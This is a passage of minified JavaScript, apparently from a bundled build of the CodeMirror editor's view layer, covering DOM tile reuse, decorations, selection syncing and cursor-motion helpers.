n=this.curLine;n.dom!=t.line.dom&&(n.setDOM(this.cache.reused.has(t.line)?zs(t.line.dom):t.line.dom),this.cache.reused.set(t.line,2));let r=n;for(let l=t.marks.length-1;l>=0;l--){let a=t.marks[l],h=r.lastChild;if(h instanceof Be&&h.mark.eq(a.mark))h.dom!=a.dom&&h.setDOM(zs(a.dom)),r=h;else{if(this.cache.reused.get(a)){let f=re.get(a.dom);f&&f.setDOM(zs(a.dom))}let c=Be.of(a.mark,a.dom);r.append(c),r=c}this.cache.reused.set(a,2)}let s=re.get(e.text);s&&this.cache.reused.set(s,2);let o=new li(e.text,e.text.nodeValue);o.flags|=8,this.pos=e.range.toB,r.append(o)}addInlineWidget(e,t,n){let r=this.afterWidget&&e.flags&48&&(this.afterWidget.flags&48)==(e.flags&48);r||this.flushBuffer();let s=this.ensureMarks(t,n);!r&&!(e.flags&16)&&s.append(this.getBuffer(1)),s.append(e),this.pos+=e.length,this.afterWidget=e}addMark(e,t,n){this.flushBuffer(),this.ensureMarks(t,n).append(e),this.pos+=e.length,this.afterWidget=null}addBlockWidget(e){this.getBlockPos().append(e),this.pos+=e.length,this.lastBlock=e,this.endLine()}continueWidget(e){let t=this.afterWidget||this.lastBlock;t.length+=e,this.pos+=e}addLineStart(e,t){var n;e||(e=Su);let r=Qi.start(e,t||((n=this.cache.find(Qi))===null||n===void 0?void 0:n.dom),!!t);this.getBlockPos().append(this.lastBlock=this.curLine=r)}addLine(e){this.getBlockPos().append(e),this.pos+=e.length,this.lastBlock=e,this.endLine()}addBreak(){this.lastBlock.flags|=1,this.endLine(),this.pos++}addLineStartIfNotCovered(e){this.blockPosCovered()||this.addLineStart(e)}ensureLine(e){this.curLine||this.addLineStart(e)}ensureMarks(e,t){var n;let r=this.curLine;for(let s=e.length-1;s>=0;s--){let o=e[s],l;if(t>0&&(l=r.lastChild)&&l instanceof Be&&l.mark.eq(o))r=l,t--;else{let a=Be.of(o,(n=this.cache.find(Be,h=>h.mark.eq(o)))===null||n===void 0?void 0:n.dom);r.append(a),r=a,t=0}}return r}endLine(){if(this.curLine){this.flushBuffer();let e=this.curLine.lastChild;(!e||!ah(this.curLine,!1)||e.dom.nodeName!="BR"&&e.isWidget()&&!(P.ios&&ah(this.curLine,!0)))&&this.curLine.append(this.cache.findWidget(qs,0,32)||new mi(qs.toDOM(),0,qs,32)),this.curLine=this.afterWidget=null}}updateBlockWrappers(){this.wrapperPos>this.pos+1e4&&(this.blockWrappers.goto(this.pos),this.wrappers.length=0);for(let e=this.wrappers.length-1;e>=0;e--)this.wrappers[e].to<this.pos&&this.wrappers.splice(e,1);for(let e=this.blockWrappers;e.value&&e.from<=this.pos;e.next())if(e.to>=this.pos){let t=e.rank*102+e.value.rank,n=new qb(e.from,e.to,e.value,t),r=this.wrappers.length;for(;r>0&&(this.wrappers[r-1].rank-n.rank||this.wrappers[r-1].to-n.to)<0;)r--;this.wrappers.splice(r,0,n)}this.wrapperPos=this.pos}getBlockPos(){var e;this.updateBlockWrappers();let t=this.root;for(let n of this.wrappers){let r=t.lastChild;if(n.from<this.pos&&r instanceof Pt&&r.wrapper.eq(n.wrapper))t=r;else{let s=Pt.of(n.wrapper,(e=this.cache.find(Pt,o=>o.wrapper.eq(n.wrapper)))===null||e===void 0?void 0:e.dom);t.append(s),t=s}}return t}blockPosCovered(){let e=this.lastBlock;return e!=null&&!e.breakAfter&&(!e.isWidget()||(e.flags&160)>0)}getBuffer(e){let t=2|(e<0?16:32),n=this.cache.find(Wr,void 0,1);return n&&(n.flags=t),n||new Wr(t)}flushBuffer(){this.afterWidget&&!(this.afterWidget.flags&32)&&(this.afterWidget.parent.append(this.getBuffer(-1)),this.afterWidget=null)}}class Kb{constructor(e){this.skipCount=0,this.text="",this.textOff=0,this.cursor=e.iter()}skip(e){this.textOff+e<=this.text.length?this.textOff+=e:(this.skipCount+=e-(this.text.length-this.textOff),this.text="",this.textOff=0)}next(e){if(this.textOff==this.text.length){let{value:r,lineBreak:s,done:o}=this.cursor.next(this.skipCount);if(this.skipCount=0,o)throw new Error("Ran out of text content when drawing inline views");this.text=r;let l=this.textOff=Math.min(e,r.length);return s?null:r.slice(0,l)}let t=Math.min(this.text.length,this.textOff+e),n=this.text.slice(this.textOff,t);return this.textOff=t,n}}const $r=[mi,Qi,li,Be,Wr,Pt,ys];for(let i=0;i<$r.length;i++)$r[i].bucket=i;class Xb{constructor(e){this.view=e,this.buckets=$r.map(()=>[]),this.index=$r.map(()=>0),this.reused=new Map}add(e){let t=e.constructor.bucket,n=this.buckets[t];n.length<6?n.push(e):n[this.index[t]=(this.index[t]+1)%6]=e}find(e,t,n=2){let r=e.bucket,s=this.buckets[r],o=this.index[r];for(let l=s.length-1;l>=0;l--){let a=(l+o)%s.length,h=s[a];if((!t||t(h))&&!this.reused.has(h))return s.splice(a,1),a<o&&this.index[r]--,this.reused.set(h,n),h}return null}findWidget(e,t,n){let r=this.buckets[0];if(r.length)for(let s=0,o=0;;s++){if(s==r.length){if(o)return null;o=1,s=0}let l=r[s];if(!this.reused.has(l)&&(o==0?l.widget.compare(e):l.widget.constructor==e.constructor&&e.updateDOM(l.dom,this.view,l.widget)))return r.splice(s,1),s<this.index[0]&&this.index[0]--,l.widget==e&&l.length==t&&(l.flags&497)==n?(this.reused.set(l,1),l):(this.reused.set(l,2),new mi(l.dom,t,e,l.flags&-498|n))}}reuse(e){return this.reused.set(e,1),e}maybeReuse(e,t=2){if(!this.reused.has(e))return this.reused.set(e,t),e.dom}clear(){for(let e=0;e<this.buckets.length;e++)this.buckets[e].length=this.index[e]=0}}class jb{constructor(e,t,n,r,s){this.view=e,this.decorations=r,this.disallowBlockEffectsFor=s,this.openWidget=!1,this.openMarks=0,this.cache=new Xb(e),this.text=new Kb(e.state.doc),this.builder=new Ub(this.cache,new ys(e,e.contentDOM),$.iter(n)),this.cache.reused.set(t,2),this.old=new zb(t),this.reuseWalker={skip:(o,l,a)=>{if(this.cache.add(o),o.isComposite())return!1},enter:o=>this.cache.add(o),leave:()=>{},break:()=>{}}}run(e,t){let n=t&&this.getCompositionContext(t.text);for(let r=0,s=0,o=0;;){let l=o<e.length?e[o++]:null,a=l?l.fromA:this.old.root.length;if(a>r){let h=a-r;this.preserve(h,!o,!l),r=a,s+=h}if(!l)break;t&&l.fromA<=t.range.fromA&&l.toA>=t.range.toA?(this.forward(l.fromA,t.range.fromA,t.range.fromA<t.range.toA?1:-1),this.emit(s,t.range.fromB),this.builder.flushBuffer(),this.cache.clear(),this.builder.addComposition(t,n),this.text.skip(t.range.toB-t.range.fromB),this.forward(t.range.fromA,l.toA),this.emit(t.range.toB,l.toB)):(this.forward(l.fromA,l.toA),this.emit(s,l.toB)),s=l.toB,r=l.toA}return this.builder.curLine&&this.builder.endLine(),this.builder.root}preserve(e,t,n){let r=Jb(this.old),s=this.openMarks;this.old.advance(e,n?1:-1,{skip:(o,l,a)=>{if(o.isWidget())if(this.openWidget)this.builder.continueWidget(a-l);else{let h=a>0||l<o.length?mi.of(o.widget,this.view,a-l,o.flags&496,this.cache.maybeReuse(o)):this.cache.reuse(o);h.flags&256?(h.flags&=-2,this.builder.addBlockWidget(h)):(this.builder.ensureLine(null),this.builder.addInlineWidget(h,r,s),s=r.length)}else if(o.isText())this.builder.ensureLine(null),!l&&a==o.length&&!this.cache.reused.has(o)?this.builder.addText(o.text,r,s,this.cache.reuse(o)):(this.cache.add(o),this.builder.addText(o.text.slice(l,a),r,s)),s=r.length;else if(o.isLine())o.flags&=-2,this.cache.reused.set(o,1),this.builder.addLine(o);else if(o instanceof Wr)this.cache.add(o);else if(o instanceof Be)this.builder.ensureLine(null),this.builder.addMark(o,r,s),this.cache.reused.set(o,1),s=r.length;else return!1;this.openWidget=!1},enter:o=>{o.isLine()?this.builder.addLineStart(o.attrs,this.cache.maybeReuse(o)):(this.cache.add(o),o instanceof Be&&r.unshift(o.mark)),this.openWidget=!1},leave:o=>{o.isLine()?r.length&&(r.length=s=0):o instanceof Be&&(r.shift(),s=Math.min(s,r.length))},break:()=>{this.builder.addBreak(),this.openWidget=!1}}),this.text.skip(e)}emit(e,t){let n=null,r=this.builder,s=0,o=$.spans(this.decorations,e,t,{point:(l,a,h,c,f,u)=>{if(h instanceof pi){if(this.disallowBlockEffectsFor[u]){if(h.block)throw new RangeError("Block decorations may not be specified via plugins");if(a>this.view.state.doc.lineAt(l).to)throw new RangeError("Decorations that replace line breaks may not be specified via plugins")}if(s=c.length,f>c.length)r.continueWidget(a-l);else{let d=h.widget||(h.block?zi.block:zi.inline),p=Yb(h),g=this.cache.findWidget(d,a-l,p)||mi.of(d,this.view,a-l,p);h.block?(h.startSide>0&&r.addLineStartIfNotCovered(n),r.addBlockWidget(g)):(r.ensureLine(n),r.addInlineWidget(g,c,f))}n=null}else n=Gb(n,h);a>l&&this.text.skip(a-l)},span:(l,a,h,c)=>{for(let f=l;f<a;){let u=this.text.next(Math.min(512,a-f));u==null?(r.addLineStartIfNotCovered(n),r.addBreak(),f++):(r.ensureLine(n),r.addText(u,h,f==l?c:h.length),f+=u.length),n=null}}});r.addLineStartIfNotCovered(n),this.openWidget=o>s,this.openMarks=o}forward(e,t,n=1){t-e<=10?this.old.advance(t-e,n,this.reuseWalker):(this.old.advance(5,-1,this.reuseWalker),this.old.advance(t-e-10,-1),this.old.advance(5,n,this.reuseWalker))}getCompositionContext(e){let t=[],n=null;for(let r=e.parentNode;;r=r.parentNode){let s=re.get(r);if(r==this.view.contentDOM)break;s instanceof Be?t.push(s):s?.isLine()?n=s:s instanceof Pt||(r.nodeName=="DIV"&&!n&&r!=this.view.contentDOM?n=new Qi(r,Su):n||t.push(Be.of(new Hn({tagName:r.nodeName.toLowerCase(),attributes:Ob(r)}),r)))}return{line:n,marks:t}}}function ah(i,e){let t=n=>{for(let r of n.children)if((e?r.isText():r.length)||t(r))return!0;return!1};return t(i)}function Yb(i){let e=i.isReplace?(i.startSide<0?64:0)|(i.endSide>0?128:0):i.startSide>0?32:16;return i.block&&(e|=256),e}const Su={class:"cm-line"};function Gb(i,e){let t=e.spec.attributes,n=e.spec.class;return!t&&!n||(i||(i={class:"cm-line"}),t&&Ql(t,i),n&&(i.class+=" "+n)),i}function Jb(i){let e=[];for(let t=i.parents.length;t>1;t--){let n=t==i.parents.length?i.tile:i.parents[t].tile;n instanceof Be&&e.push(n.mark)}return e}function zs(i){let e=re.get(i);return e&&e.setDOM(i.cloneNode()),i}class zi extends wt{constructor(e){super(),this.tag=e}eq(e){return e.tag==this.tag}toDOM(){return document.createElement(this.tag)}updateDOM(e){return e.nodeName.toLowerCase()==this.tag}get isHidden(){return!0}}zi.inline=new zi("span");zi.block=new zi("div");const qs=new class extends wt{toDOM(){return document.createElement("br")}get isHidden(){return!0}get editable(){return!0}};class hh{constructor(e){this.view=e,this.decorations=[],this.blockWrappers=[],this.dynamicDecorationMap=[!1],this.domChanged=null,this.hasComposition=null,this.editContextFormatting=D.none,this.lastCompositionAfterCursor=!1,this.minWidth=0,this.minWidthFrom=0,this.minWidthTo=0,this.impreciseAnchor=null,this.impreciseHead=null,this.forceSelection=!1,this.lastUpdate=Date.now(),this.updateDeco(),this.tile=new ys(e,e.contentDOM),this.updateInner([new Ke(0,0,0,e.state.doc.length)],null)}update(e){var t;let n=e.changedRanges;this.minWidth>0&&n.length&&(n.every(({fromA:c,toA:f})=>f<this.minWidthFrom||c>this.minWidthTo)?(this.minWidthFrom=e.changes.mapPos(this.minWidthFrom,1),this.minWidthTo=e.changes.mapPos(this.minWidthTo,1)):this.minWidth=this.minWidthFrom=this.minWidthTo=0),this.updateEditContextFormatting(e);let r=-1;this.view.inputState.composing>=0&&!this.view.observer.editContext&&(!((t=this.domChanged)===null||t===void 0)&&t.newSel?r=this.domChanged.newSel.head:!ly(e.changes,this.hasComposition)&&!e.selectionSet&&(r=e.state.selection.main.head));let s=r>-1?ey(this.view,e.changes,r):null;if(this.domChanged=null,this.hasComposition){let{from:c,to:f}=this.hasComposition;n=new Ke(c,f,e.changes.mapPos(c,-1),e.changes.mapPos(f,1)).addToSet(n.slice())}this.hasComposition=s?{from:s.range.fromB,to:s.range.toB}:null,(P.ie||P.chrome)&&!s&&e&&e.state.doc.lines!=e.startState.doc.lines&&(this.forceSelection=!0);let o=this.decorations,l=this.blockWrappers;this.updateDeco();let a=ny(o,this.decorations,e.changes);a.length&&(n=Ke.extendWithRanges(n,a));let h=sy(l,this.blockWrappers,e.changes);return h.length&&(n=Ke.extendWithRanges(n,h)),s&&!n.some(c=>c.fromA<=s.range.fromA&&c.toA>=s.range.toA)&&(n=s.range.addToSet(n.slice())),this.tile.flags&2&&n.length==0?!1:(this.updateInner(n,s),e.transactions.length&&(this.lastUpdate=Date.now()),!0)}updateInner(e,t){this.view.viewState.mustMeasureContent=!0;let{observer:n}=this.view;n.ignore(()=>{if(t||e.length){let o=this.tile,l=new jb(this.view,o,this.blockWrappers,this.decorations,this.dynamicDecorationMap);t&&re.get(t.text)&&l.cache.reused.set(re.get(t.text),2),this.tile=l.run(e,t),el(o,l.cache.reused)}this.tile.dom.style.height=this.view.viewState.contentHeight/this.view.scaleY+"px",this.tile.dom.style.flexBasis=this.minWidth?this.minWidth+"px":"";let s=P.chrome||P.ios?{node:n.selectionRange.focusNode,written:!1}:void 0;this.tile.sync(s),s&&(s.written||n.selectionRange.focusNode!=s.node||!this.tile.dom.contains(s.node))&&(this.forceSelection=!0),this.tile.dom.style.height=""});let r=[];if(this.view.viewport.from||this.view.viewport.to<this.view.state.doc.length)for(let s of this.tile.children)s.isWidget()&&s.widget instanceof Us&&r.push(s.dom);n.updateGaps(r)}updateEditContextFormatting(e){this.editContextFormatting=this.editContextFormatting.map(e.changes);for(let t of e.transactions)for(let n of t.effects)n.is(mu)&&(this.editContextFormatting=n.value)}updateSelection(e=!1,t=!1){(e||!this.view.observer.selectionRange.focusNode)&&this.view.observer.readSelectionRange();let{dom:n}=this.tile,r=this.view.root.activeElement,s=r==n,o=!s&&!(this.view.state.facet(At)||n.tabIndex>-1)&&bn(n,this.view.observer.selectionRange)&&!(r&&n.contains(r));if(!(s||t||o))return;let l=this.forceSelection;this.forceSelection=!1;let a=this.view.state.selection.main,h,c;if(a.empty?c=h=this.inlineDOMNearPos(a.anchor,a.assoc||1):(c=this.inlineDOMNearPos(a.head,a.head==a.from?1:-1),h=this.inlineDOMNearPos(a.anchor,a.anchor==a.from?1:-1)),P.gecko&&a.empty&&!this.hasComposition&&Zb(h)){let u=document.createTextNode("");this.view.observer.ignore(()=>h.node.insertBefore(u,h.node.childNodes[h.offset]||null)),h=c=new tt(u,0),l=!0}let f=this.view.observer.selectionRange;(l||!f.focusNode||(!xn(h.node,h.offset,f.anchorNode,f.anchorOffset)||!xn(c.node,c.offset,f.focusNode,f.focusOffset))&&!this.suppressWidgetCursorChange(f,a))&&(this.view.observer.ignore(()=>{P.android&&P.chrome&&n.contains(f.focusNode)&&oy(f.focusNode,n)&&(n.blur(),n.focus({preventScroll:!0}));let u=Mn(this.view.root);if(u)if(a.empty){if(P.gecko){let d=ty(h.node,h.offset);if(d&&d!=3){let p=(d==1?eu:tu)(h.node,h.offset);p&&(h=new tt(p.node,p.offset))}}u.collapse(h.node,h.offset),a.bidiLevel!=null&&u.caretBidiLevel!==void 0&&(u.caretBidiLevel=a.bidiLevel)}else if(u.extend){u.collapse(h.node,h.offset);try{u.extend(c.node,c.offset)}catch{}}else{let d=document.createRange();a.anchor>a.head&&([h,c]=[c,h]),d.setEnd(c.node,c.offset),d.setStart(h.node,h.offset),u.removeAllRanges(),u.addRange(d)}o&&this.view.root.activeElement==n&&(n.blur(),r&&r.focus())}),this.view.observer.setSelectionRange(h,c)),this.impreciseAnchor=h.precise?null:new tt(f.anchorNode,f.anchorOffset),this.impreciseHead=c.precise?null:new tt(f.focusNode,f.focusOffset)}suppressWidgetCursorChange(e,t){return this.hasComposition&&t.empty&&xn(e.focusNode,e.focusOffset,e.anchorNode,e.anchorOffset)&&this.posFromDOM(e.focusNode,e.focusOffset)==t.head}enforceCursorAssoc(){if(this.hasComposition)return;let{view:e}=this,t=e.state.selection.main,n=Mn(e.root),{anchorNode:r,anchorOffset:s}=e.observer.selectionRange;if(!n||!t.empty||!t.assoc||!n.modify)return;let o=this.lineAt(t.head,t.assoc);if(!o)return;let l=o.posAtStart;if(t.head==l||t.head==l+o.length)return;let a=this.coordsAt(t.head,-1),h=this.coordsAt(t.head,1);if(!a||!h||a.bottom>h.top)return;let c=this.domAtPos(t.head+t.assoc,t.assoc);n.collapse(c.node,c.offset),n.modify("move",t.assoc<0?"forward":"backward","lineboundary"),e.observer.readSelectionRange();let f=e.observer.selectionRange;e.docView.posFromDOM(f.anchorNode,f.anchorOffset)!=t.from&&n.collapse(r,s)}posFromDOM(e,t){let n=this.tile.nearest(e);if(!n)return this.tile.dom.compareDocumentPosition(e)&2?0:this.view.state.doc.length;let r=n.posAtStart;if(n.isComposite()){let s;if(e==n.dom)s=n.dom.childNodes[t];else{let o=Lt(e)==0?0:t==0?-1:1;for(;;){let l=e.parentNode;if(l==n.dom)break;o==0&&l.firstChild!=l.lastChild&&(e==l.firstChild?o=-1:o=1),e=l}o<0?s=e:s=e.nextSibling}if(s==n.dom.firstChild)return r;for(;s&&!re.get(s);)s=s.nextSibling;if(!s)return r+n.length;for(let o=0,l=r;;o++){let a=n.children[o];if(a.dom==s)return l;l+=a.length+a.breakAfter}}else return n.isText()?e==n.dom?r+t:r+(t?n.length:0):r}domAtPos(e,t){let{tile:n,offset:r}=this.tile.resolveBlock(e,t);return n.isWidget()?n.domPosFor(e,t):n.domIn(r,t)}inlineDOMNearPos(e,t){let n,r=-1,s=!1,o,l=-1,a=!1;return this.tile.blockTiles((h,c)=>{if(h.isWidget()){if(h.flags&32&&c>=e)return!0;h.flags&16&&(s=!0)}else{let f=c+h.length;if(c<=e&&(n=h,r=e-c,s=f<e),f>=e&&!o&&(o=h,l=e-c,a=c>e),c>e&&o)return!0}}),!n&&!o?this.domAtPos(e,t):(s&&o?n=null:a&&n&&(o=null),n&&t<0||!o?n.domIn(r,t):o.domIn(l,t))}coordsAt(e,t){let{tile:n,offset:r}=this.tile.resolveBlock(e,t);return n.isWidget()?n.widget instanceof Us?null:n.coordsInWidget(r,t,!0):n.coordsIn(r,t)}lineAt(e,t){let{tile:n}=this.tile.resolveBlock(e,t);return n.isLine()?n:null}coordsForChar(e){let{tile:t,offset:n}=this.tile.resolveBlock(e,1);if(!t.isLine())return null;function r(s,o){if(s.isComposite())for(let l of s.children){if(l.length>=o){let a=r(l,o);if(a)return a}if(o-=l.length,o<0)break}else if(s.isText()&&o<s.length){let l=pe(s.text,o);if(l==o)return null;let a=En(s.dom,o,l).getClientRects();for(let h=0;h<a.length;h++){let c=a[h];if(h==a.length-1||c.top<c.bottom&&c.left<c.right)return c}}return null}return r(t,n)}measureVisibleLineHeights(e){let t=[],{from:n,to:r}=e,s=this.view.contentDOM.clientWidth,o=s>Math.max(this.view.scrollDOM.clientWidth,this.minWidth)+1,l=-1,a=this.view.textDirection==J.LTR,h=0,c=(f,u,d)=>{for(let p=0;p<f.children.length&&!(u>r);p++){let g=f.children[p],m=u+g.length,b=g.dom.getBoundingClientRect(),{height:x}=b;if(d&&!p&&(h+=b.top-d.top),g instanceof Pt)m>n&&c(g,u,b);else if(u>=n&&(h>0&&t.push(-h),t.push(x+h),h=0,o)){let S=g.dom.lastChild,M=S?yn(S):[];if(M.length){let k=M[M.length-1],w=a?k.right-b.left:b.right-k.left;w>l&&(l=w,this.minWidth=s,this.minWidthFrom=u,this.minWidthTo=m)}}d&&p==f.children.length-1&&(h+=d.bottom-b.bottom),u=m+g.breakAfter}};return c(this.tile,0,null),t}textDirectionAt(e){let{tile:t}=this.tile.resolveBlock(e,1);return getComputedStyle(t.dom).direction=="rtl"?J.RTL:J.LTR}measureTextSize(){let e=this.tile.blockTiles(o=>{if(o.isLine()&&o.children.length&&o.length<=20){let l=0,a;for(let h of o.children){if(!h.isText()||/[^ -~]/.test(h.text))return;let c=yn(h.dom);if(c.length!=1)return;l+=c[0].width,a=c[0].height}if(l)return{lineHeight:o.dom.getBoundingClientRect().height,charWidth:l/o.length,textHeight:a}}});if(e)return e;let t=document.createElement("div"),n,r,s;return t.className="cm-line",t.style.width="99999px",t.style.position="absolute",t.textContent="abc def ghi jkl mno pqr stu",this.view.observer.ignore(()=>{this.tile.dom.appendChild(t);let o=yn(t.firstChild)[0];n=t.getBoundingClientRect().height,r=o&&o.width?o.width/27:7,s=o&&o.height?o.height:n,t.remove()}),{lineHeight:n,charWidth:r,textHeight:s}}computeBlockGapDeco(){let e=[],t=this.view.viewState;for(let n=0,r=0;;r++){let s=r==t.viewports.length?null:t.viewports[r],o=s?s.from-1:this.view.state.doc.length;if(o>n){let l=(t.lineBlockAt(o).bottom-t.lineBlockAt(n).top)/this.view.scaleY;e.push(D.replace({widget:new Us(l),block:!0,inclusive:!0,isBlockGap:!0}).range(n,o))}if(!s)break;n=s.to+1}return D.set(e)}updateDeco(){let e=1,t=this.view.state.facet(ms).map(s=>(this.dynamicDecorationMap[e++]=typeof s=="function")?s(this.view):s),n=!1,r=this.view.state.facet(jl).map((s,o)=>{let l=typeof s=="function";return l&&(n=!0),l?s(this.view):s});for(r.length&&(this.dynamicDecorationMap[e++]=n,t.push($.join(r))),this.decorations=[this.editContextFormatting,...t,this.computeBlockGapDeco(),this.view.viewState.lineGapDeco];e<this.decorations.length;)this.dynamicDecorationMap[e++]=!1;this.blockWrappers=this.view.state.facet(yu).map(s=>typeof s=="function"?s(this.view):s)}scrollIntoView(e){var t;if(e.isSnapshot){let c=this.view.viewState.lineBlockAt(e.range.head);this.view.scrollDOM.scrollTop=c.top-e.yMargin,this.view.scrollDOM.scrollLeft=e.xMargin;return}for(let c of this.view.state.facet(gu))try{if(c(this.view,e.range,e))return!0}catch(f){Fe(this.view.state,f,"scroll handler")}let{range:n}=e,r=this.coordsAt(n.head,(t=n.assoc)!==null&&t!==void 0?t:n.empty?0:n.head>n.anchor?-1:1),s;if(!r)return;!n.empty&&(s=this.coordsAt(n.anchor,n.anchor>n.head?-1:1))&&(r={left:Math.min(r.left,s.left),top:Math.min(r.top,s.top),right:Math.max(r.right,s.right),bottom:Math.max(r.bottom,s.bottom)});let o=Yl(this.view),l={left:r.left-o.left,top:r.top-o.top,right:r.right+o.right,bottom:r.bottom+o.bottom},{offsetWidth:a,offsetHeight:h}=this.view.scrollDOM;if(Tb(this.view.scrollDOM,l,n.head<n.anchor?-1:1,e.x,e.y,Math.max(Math.min(e.xMargin,a),-a),Math.max(Math.min(e.yMargin,h),-h),this.view.textDirection==J.LTR),window.visualViewport&&window.innerHeight-window.visualViewport.height>1&&(r.top>window.pageYOffset+window.visualViewport.offsetTop+window.visualViewport.height||r.bottom<window.pageYOffset+window.visualViewport.offsetTop)){let c=this.view.docView.lineAt(n.head,1);c&&c.dom.scrollIntoView({block:"nearest"})}}lineHasWidget(e){let t=n=>n.isWidget()||n.children.some(t);return t(this.tile.resolveBlock(e,1).tile)}destroy(){el(this.tile)}}function el(i,e){let t=e?.get(i);if(t!=1){t==null&&i.destroy();for(let n of i.children)el(n,e)}}function Zb(i){return i.node.nodeType==1&&i.node.firstChild&&(i.offset==0||i.node.childNodes[i.offset-1].contentEditable=="false")&&(i.offset==i.node.childNodes.length||i.node.childNodes[i.offset].contentEditable=="false")}function ku(i,e){let t=i.observer.selectionRange;if(!t.focusNode)return null;let n=eu(t.focusNode,t.focusOffset),r=tu(t.focusNode,t.focusOffset),s=n||r;if(r&&n&&r.node!=n.node){let l=re.get(r.node);if(!l||l.isText()&&l.text!=r.node.nodeValue)s=r;else if(i.docView.lastCompositionAfterCursor){let a=re.get(n.node);!a||a.isText()&&a.text!=n.node.nodeValue||(s=r)}}if(i.docView.lastCompositionAfterCursor=s!=n,!s)return null;let o=e-s.offset;return{from:o,to:o+s.node.nodeValue.length,node:s.node}}function ey(i,e,t){let n=ku(i,t);if(!n)return null;let{node:r,from:s,to:o}=n,l=r.nodeValue;if(/[\n\r]/.test(l)||i.state.doc.sliceString(n.from,n.to)!=l)return null;let a=e.invertedDesc;return{range:new Ke(a.mapPos(s),a.mapPos(o),s,o),text:r}}function ty(i,e){return i.nodeType!=1?0:(e&&i.childNodes[e-1].contentEditable=="false"?1:0)|(e<i.childNodes.length&&i.childNodes[e].contentEditable=="false"?2:0)}let iy=class{constructor(){this.changes=[]}compareRange(e,t){Ri(e,t,this.changes)}comparePoint(e,t){Ri(e,t,this.changes)}boundChange(e){Ri(e,e,this.changes)}};function ny(i,e,t){let n=new iy;return $.compare(i,e,t,n),n.changes}class ry{constructor(){this.changes=[]}compareRange(e,t){Ri(e,t,this.changes)}comparePoint(){}boundChange(e){Ri(e,e,this.changes)}}function sy(i,e,t){let n=new ry;return $.compare(i,e,t,n),n.changes}function oy(i,e){for(let t=i;t&&t!=e;t=t.assignedSlot||t.parentNode)if(t.nodeType==1&&t.contentEditable=="false")return!0;return!1}function ly(i,e){let t=!1;return e&&i.iterChangedRanges((n,r)=>{n<e.to&&r>e.from&&(t=!0)}),t}class Us extends wt{constructor(e){super(),this.height=e}toDOM(){let e=document.createElement("div");return e.className="cm-gap",this.updateDOM(e),e}eq(e){return e.height==this.height}updateDOM(e){return e.style.height=this.height+"px",!0}get editable(){return!0}get estimatedHeight(){return this.height}ignoreEvent(){return!1}}function ay(i,e,t=1){let n=i.charCategorizer(e),r=i.doc.lineAt(e),s=e-r.from;if(r.length==0)return v.cursor(e);s==0?t=1:s==r.length&&(t=-1);let o=s,l=s;t<0?o=pe(r.text,s,!1):l=pe(r.text,s);let a=n(r.text.slice(o,l));for(;o>0;){let h=pe(r.text,o,!1);if(n(r.text.slice(h,o))!=a)break;o=h}for(;l<r.length;){let h=pe(r.text,l);if(n(r.text.slice(l,h))!=a)break;l=h}return v.range(o+r.from,l+r.from)}function hy(i,e,t,n,r){let s=Math.round((n-e.left)*i.defaultCharacterWidth);if(i.lineWrapping&&t.height>i.defaultLineHeight*1.5){let l=i.viewState.heightOracle.textHeight,a=Math.floor((r-t.top-(i.defaultLineHeight-l)*.5)/l);s+=a*i.viewState.heightOracle.lineLength}let o=i.state.sliceDoc(t.from,t.to);return t.from+Vo(o,s,i.state.tabSize)}function tl(i,e,t){let n=i.lineBlockAt(e);if(Array.isArray(n.type)){let r;for(let s of n.type){if(s.from>e)break;if(!(s.to<e)){if(s.from<e&&s.to>e)return s;(!r||s.type==Se.Text&&(r.type!=s.type||(t<0?s.from<e:s.to>e)))&&(r=s)}}return r||n}return n}function cy(i,e,t,n){let r=tl(i,e.head,e.assoc||-1),s=!n||r.type!=Se.Text||!(i.lineWrapping||r.widgetLineBreaks)?null:i.coordsAtPos(e.assoc<0&&e.head>r.from?e.head-1:e.head);if(s){let o=i.dom.getBoundingClientRect(),l=i.textDirectionAt(r.from),a=i.posAtCoords({x:t==(l==J.LTR)?o.right-1:o.left+1,y:(s.top+s.bottom)/2});if(a!=null)return v.cursor(a,t?-1:1)}return v.cursor(t?r.to:r.from,t?-1:1)}function ch(i,e,t,n){let r=i.state.doc.lineAt(e.head),s=i.bidiSpans(r),o=i.textDirectionAt(r.from);for(let l=e,a=null;;){let h=_b(r,s,o,l,t),c=ou;if(!h){if(r.number==(t?i.state.doc.lines:1))return l;c=`
`,r=i.state.doc.line(r.number+(t?1:-1)),s=i.bidiSpans(r),h=i.visualLineSide(r,!t)}if(a){if(!a(c))return l}else{if(!n)return h;a=n(c)}l=h}}function fy(i,e,t){let n=i.state.charCategorizer(e),r=n(t);return s=>{let o=n(s);return r==te.Space&&(r=o),r==o}}function uy(i,e,t,n){let r=e.head,s=t?1:-1;if(r==(t?i.state.doc.length:0))return v.cursor(r,e.assoc);let o=e.goalColumn,l,a=i.contentDOM.getBoundingClientRect(),h=i.coordsAtPos(r,e.assoc||((e.empty?t:e.head==e.from)?1:-1)),c=i.documentTop;if(h)o==null&&(o=h.left-a.left),l=s<0?h.top:h.bottom;else{let p=i.viewState.lineBlockAt(r);o==null&&(o=Math.min(a.right-a.left,i.defaultCharacterWidth*(r-p.from))),l=(s<0?p.top:p.bottom)+c}let f=a.left+o,u=i.viewState.heightOracle.textHeight>>1,d=n??u;for(let p=0;;p+=u){let g=l+(d+p)*s,m=il(i,{x:f,y:g},!1,s);if(t?g>a.bottom:g<a.top)return v.cursor(m.pos,m.assoc);let b=i.coordsAtPos(m.pos,m.assoc),x=b?(b.top+b.bottom)/2:0;if(!b||(t?x>l:x<l))return v.cursor(m.pos,m.assoc,void 0,o)}}function vn(i,e,t){for(;;){let n=0;for(let r of i)r.between(e-1,e+1,(s,o,l)=>{if(e>s&&e<o){let a=n||t||(e-s<o-e?-1:1);e=a<0?s:o,n=a}});if(!n)return e}}function wu(i,e){let t=null;for(let n=0;n<e.ranges.length;n++){let r=e.ranges[n],s=null;if(r.empty){let o=vn(i,r.from,0);o!=r.from&&(s=v.cursor(o,-1))}else{let o=vn(i,r.from,-1),l=vn(i,r.to,1);(o!=r.from||l!=r.to)&&(s=v.range(r.from==r.anchor?o:l,r.from==r.head?o:l))}s&&(t||(t=e.ranges.slice()),t[n]=s)}return t?v.create(t,e.mainIndex):e}function Ks(i,e,t){let n=vn(i.state.facet(Qn).map(r=>r(i)),t.from,e.head>t.from?-1:1);return n==t.from?t:v.cursor(n,n<t.from?1:-1)}class gt{constructor(e,t){this.pos=e,this.assoc=t}}function il(i,e,t,n){let r=i.contentDOM.getBoundingClientRect(),s=r.top+i.viewState.paddingTop,{x:o,y:l}=e,a=l-s,h;for(;;){if(a<0)return new gt(0,1);if(a>i.viewState.docHeight)return new 